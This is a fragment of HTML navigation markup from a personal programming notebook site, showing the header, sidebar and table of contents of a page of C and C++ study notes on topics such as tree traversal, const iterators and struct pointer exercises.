xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              C语言\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          C语言\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        C语言\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#dev-c\" class=\"md-nav__link\">\n    关于Dev C++\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    输入的问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#csstreamsprintf\" class=\"md-nav__link\">\n    C++用sstream代替sprintf\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#g\" class=\"md-nav__link\">\n    解决g++省略拷贝构造函数的问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    [数据结构]树的遍历\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"[数据结构]树的遍历\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    遍历的循环条件\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    使用面向对象的思想\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#constvectorconst_iterator\" class=\"md-nav__link\">\n    对一个const的vector使用迭代器要用const_iterator\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"对一个const的vector使用迭代器要用const_iterator\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    小心未初始化的变量\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    获取文件大小\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#c_1\" class=\"md-nav__link\">\n    C程习题解答\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"C程习题解答\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#1\" class=\"md-nav__link\">\n    1.结构指针\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"1.结构指针\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    题目\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    答案\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_9\" class=\"md-nav__link\">\n    一句话解释\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_10\" class=\"md-nav__link\">\n    详细解释\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_11\" class=\"md-nav__link\">\n    这就够了吗？\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_12\" class=\"md-nav__link\">\n    回顾一下\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#2\" class=\"md-nav__link\">\n    2.结构数组\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"2.结构数组\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_13\" class=\"md-nav__link\">\n    题目\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_14\" class=\"md-nav__link\">\n    答案\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_15\" class=\"md-nav__link\">\n    解析\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_16\" class=\"md-nav__link\">\n    指针，数组各种玩法\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_17\" class=\"md-nav__link\">\n    数组的数组\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#dev-c\" class=\"md-nav__link\">\n    关于Dev C++\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    输入的问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#csstreamsprintf\" class=\"md-nav__link\">\n    C++用sstream代替sprintf\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#g\" class=\"md-nav__link\">\n    解决g++省略拷贝构造函数的问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    [数据结构]树的遍历\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"[数据结构]树的遍历\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    遍历的循环条件\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    使用面向对象的思想\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#constvectorconst_iterator\" class=\"md-nav__link\">\n    对一个const的vector使用迭代器要用const_iterator\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"对一个const的vector使用迭代器要用const_iterator\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    小心未初始化的变量\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    获取文件大小\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#c_1\" class=\"md-nav__link\">\n    C程习题解答\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"C程习题解答\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#1\" class=\"md-nav__link\">\n    1.结构指针\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"1.结构指针\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a 